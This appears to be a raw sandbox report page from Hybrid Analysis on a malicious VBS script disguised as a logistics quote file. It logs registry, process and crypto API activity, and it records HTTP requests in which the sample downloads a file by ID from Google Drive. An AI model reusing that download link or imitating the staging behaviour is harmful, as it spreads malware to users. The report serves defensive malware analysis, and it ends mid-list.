26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBS/Agent.CUF Sample 3563a0dd2162… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3563a0dd2162…. Malware family: VBS/Agent.CUF. Threat score 100/100. 1/27 AV engines flagged this file. 3 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3563a0dd216236d5f6f8bc871afe1f98f5bff78afe2d95f80276906dcdf278e2","keywords":["Malicious","VBS/Agent.CUF","malware analysis","sandbox report","threat intelligence","3563a0dd216236d5f6f8bc871afe1f98f5bff78afe2d95f80276906dcdf278e2"],"about":{"@type":"SoftwareApplication","name":"RFQGoodsLogisticsLandedCost20260710Returnurge.vbs","applicationCategory":["script","vbs"],"identifier":"3563a0dd216236d5f6f8bc871afe1f98f5bff78afe2d95f80276906dcdf278e2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBS/Agent.CUF","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp")28:Tac3,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\PHYSICALSTORES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")29:T9fd,"WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338369170 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338377208 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338783751 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338792207 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338948863 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2338956882 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2339826285 [PID: 6196] "WScript.exe" queried SystemProcessInformation at 00000000-00006196-00000C15-2339834317 [PID: 6196] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2341959924 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2341968832 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2343362279 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2343371007 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344278048 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344319873 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344475228 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344507419 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344549579 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2344558560 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2345627868 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2346302770 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2346310494 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2347074358 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2347081350 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2356283760 [PID: 200] "powershell.exe" queried SystemProcessInformation at 00000000-00000200-00000C15-2356292394 [PID: 200]2a:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2b:T6ec,Contains base64 string in header "download" in header "GET /uc?export=download&id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3 HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.google.com" Contains base64 string in header "Keep" in header "GET /uc?export=download&id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3 HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.google.com" Contains base64 string in header "Language" in header "GET /uc?export=download&id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3 HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.google.com" Contains base64 string in header "download" in header "GET /download?id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3&export=download HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.usercontent.google.com" Contains base64 string in header "Keep" in header "GET /download?id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3&export=download HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.usercontent.google.com" Contains base64 string in header "Language" in header "GET /download?id=1w6EqNjI1Ktv7S2upU24eboJhgqq9ov-3&export=download HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Host: drive.usercontent.google.com"2c:T415,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm2d:T18a4,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac3e55fb7f0000000000000000000051ed2b57fb7f00000000000041020000000000000000000089f1710ef92f00002a00000000000000a0b99006410200008fec2b57fb7f0000e0ac3e55fb7f0000e0ac3e55fb7f0000000000000000000000000000fb7f0000ffffff7f2861000000000000000000000000000000000000d8ce3255fb7f00002a0000000000000069c3eb54fb7f00003100000000000000dc02000000000000e0020000000000001100011000000000f0ca8fed8100000003a3fd56fb7f0000f0ca8fed8100000000000000000000002b00000000000000000000000000000020b0f154fb7f0000b43ff054fb7f0000e0ce3255 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000dcc28fed8100000010000000000004000a9eed29b6fd0000503ad556fb7f0000000000000000000098edd956fb7f0000b0d28fed8100000020e5e056fb7f00000000000000000000f8d08fed810000000000000000000000000000000000000020d08fed8100000080d0b856fb7f0000c00000000000004600000000000031003200300037003300360031003000300098edd956fb7f000060cf8fed81000000f9f6710ef92f000000000000000000000000000000000000c0ca8fed81000000020000000000000017d62757fb7f00004d044bdbc501000080d08fed8100000009f4710ef92f00005bca8153fb7f000040d68fed (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000b606410200000b8e2957fb7f00000000b606410200000200000041020000380000000000000040000000000000003003b6064102000078d48fed81000000010000000000000003000000000000000100000000000000160000000000000020108b0641020000000000000000000000008b064102000000306fed81000000000000000000000000000000010000000000000000000000800000000000000004000000000000000000000000000000585293064102000004000000000000003800000000000000f098fc56fb7f000038000000000000003800000000000000f0d58fed81000000c00c7531fb7f000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0183ffb7f000007000000000000000000000000000000010000000000000090570609410200000000000000000000f05d0a09410200004c98fc56fb7f0000305b0a0941020000b3ce6b31fb7f000030650a0941020000004f183ffb7f0000d0b0183ffb7f00000000000000000000000000000000000030650a09410200009057060941020000b0670a094102000048d68fed810000004c98fc56fb7f0000010000000000000048d68fed81000000b0670a094102000030650a0941020000010000000000000002bc6b31fb7f000060650a0941020000a043090941020000feffffff040000007df0173ffb7f0000d0670a09 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000090570609410200000000000000000000f05d0a09410200004c98fc56fb7f000030500a0941020000b3ce6b31fb7f0000a0640a0941020000384f183ffb7f0000d0b0183ffb7f000000000000000000000000000000000000a0640a09410200009057060941020000b0670a094102000040d68fed810000004c98fc56fb7f0000010000000000000040d68fed81000000b0670a0941020000a0640a0941020000010000000000000002bc6b31fb7f00000000000000000000a04309094102000060650a0904000000feffffffffffffff90570609410200007df0173ffb7f000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006196) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000002ae4b853fb7f0000400000000000000000000000810000000000000200000000000000000000000050a83fee81000000c8a83fee810000000000000000000000000000000000000070ac3fee81000000c000e60100000000b0a93fee810000003000000081000000000000000000000068a83fee8100000040000000000000000000000000000000000000000000000000000000fb7f00000000000000000000560700000000000001000000000000000000000000000000d0ac3fee810000000000000000000000000000000000000004000000fb7f0000000000000000000000000000000000000000000000000000ffffffff8100000000000000 (UID: 00000000-00006196)2e:T149b,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000018000000000000004f329fc29f58000099ce710ef92f000006000000000000000000d716f67f0000a402c540fb7f00000600000041020000d8f1b954fb7f000020f78fed81000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d716 (UID: 00000000-00006196) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bbb53fb7f00000000713dfb7f0000000000000000000000000000000000000806723dfb7f00000001000000000000f098fc56fb7f00000001000000000000000100000000000000000000000000000006723dfb7f000001000000000000000f18713dfb7f000000000000000000000006723dfb7f000000000000 (UID: 00000000-00006196) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c313038fb7f0000708b3238fb7f00000200000000000000708b3238fb7f000000000000000000000300000000000000b1313038fb7f0000a8153338fb7f0000105e060941020000205e060941020000888b3238fb7f00000100000000000000239ffe56fb7f00000000000000000000888b3238fb7f000006000000 (UID: 00000000-00006196) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303dd732fb7f0000c0fed832fb7f00000400000000000000c0fed832fb7f000000000000000000000500000000000000453dd732fb7f0000286ad932fb7f0000be5abc53fb7f0000b866060941020000ef729fc29f580000b08ebc53fb7f0000239ffe56fb7f00000100000000000000d132d732fb7f00000000b553 (UID: 00000000-00006196) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5abc53fb7f000000002d38fb7f000000000000000000000000000000000000883f2e38fb7f00000001000000000000f098fc56fb7f0000000100000000000000010000000000000000000000000000803f2e38fb7f00000100000000000000bf102d38fb7f00000000000000000000803f2e38fb7f000000000000 (UID: 00000000-00006196) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00000200) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000201400007702000000000000000000000300000000000000c467c030fb7f00001000000000000000100000000000000020e938f2a900000080000000000000001000000000000000a1694341fb7f000000000000 (UID: 00000000-00000200) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000018284c7d7702000018284c7d770200000000000000000000d4be1cf2a9000000e8bf1cf2a9000000060000000000000044bf1cf2a90000000000000000000000c467c030fb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1694341fb7f0000d854e67c (UID: 00000000-00000200) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000004000000077020000202a467d7702000006000000000000000300000000000000f0e75a017702000020140000770200000000000000000000c467c030fb7f000010000000000000001000000000000000030000000000000070c01cf2a90000001000000000000000a1694341fb7f000000000000 (UID: 00000000-00000200) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000090c7022091c7024c91c7027891c702a491c702d091c702fc91c7022892c7025492c7028092c702ac92c702d892c70265006c006c005c007600310009000009511e0000c883c502c881c5027300680065006c006c002e0065007800650000005052c502040000044a1e0000607dc5028013c602807dc5025052c5025052c502 (UID: 00000000-00000160) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000e5028000000000000000a11400009ccda209ee13d37780000000ee13d377000000000000000080000000f062246f00000000bccda2095072c7770000e5020000000080000000f062246f02000000002f246fd8cda209fb62246f010000008004256f885fc977000000009776056c08cea209b864246ff42e246f (UID: 00000000-00000160) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812d0040000c5020004000018000000000000000000000003000000020000000000c5020c000000000000000000000064eaf509ee13d3772812d004ee13d37700000000000000000c00000020e59608010000007ceaf50928238c720000c502000000000c00000040881f0588eaf5092f99bf6e0c000000 (UID: 00000000-00000160) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000c5020000000018000000000000000000000003000000020000000000c5020c000000000000002c0c01181cd2a209ee13d37700000000ee13d37700000000000000000c000000ffffa76ea491920834d2a20928238c720000c502000000000c000000b014a56e40d2a2092f99bf6e0c000000 (UID: 00000000-00000160) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000016d3770c00000000000000000000000000c50250d3a20918000000000000000000000003000000020000000000c5020c00000000000000f4d2a209f8d2a209ee13d37700000000ee13d37700000000000000000c000000a3e02d7d10d3a20928238c720000c502000000000c00000030a5bf6e1cd3a2092f99bf6e0c000000 (UID: 00000000-00000160)2f:T598,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")30:T702,"WScript.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: 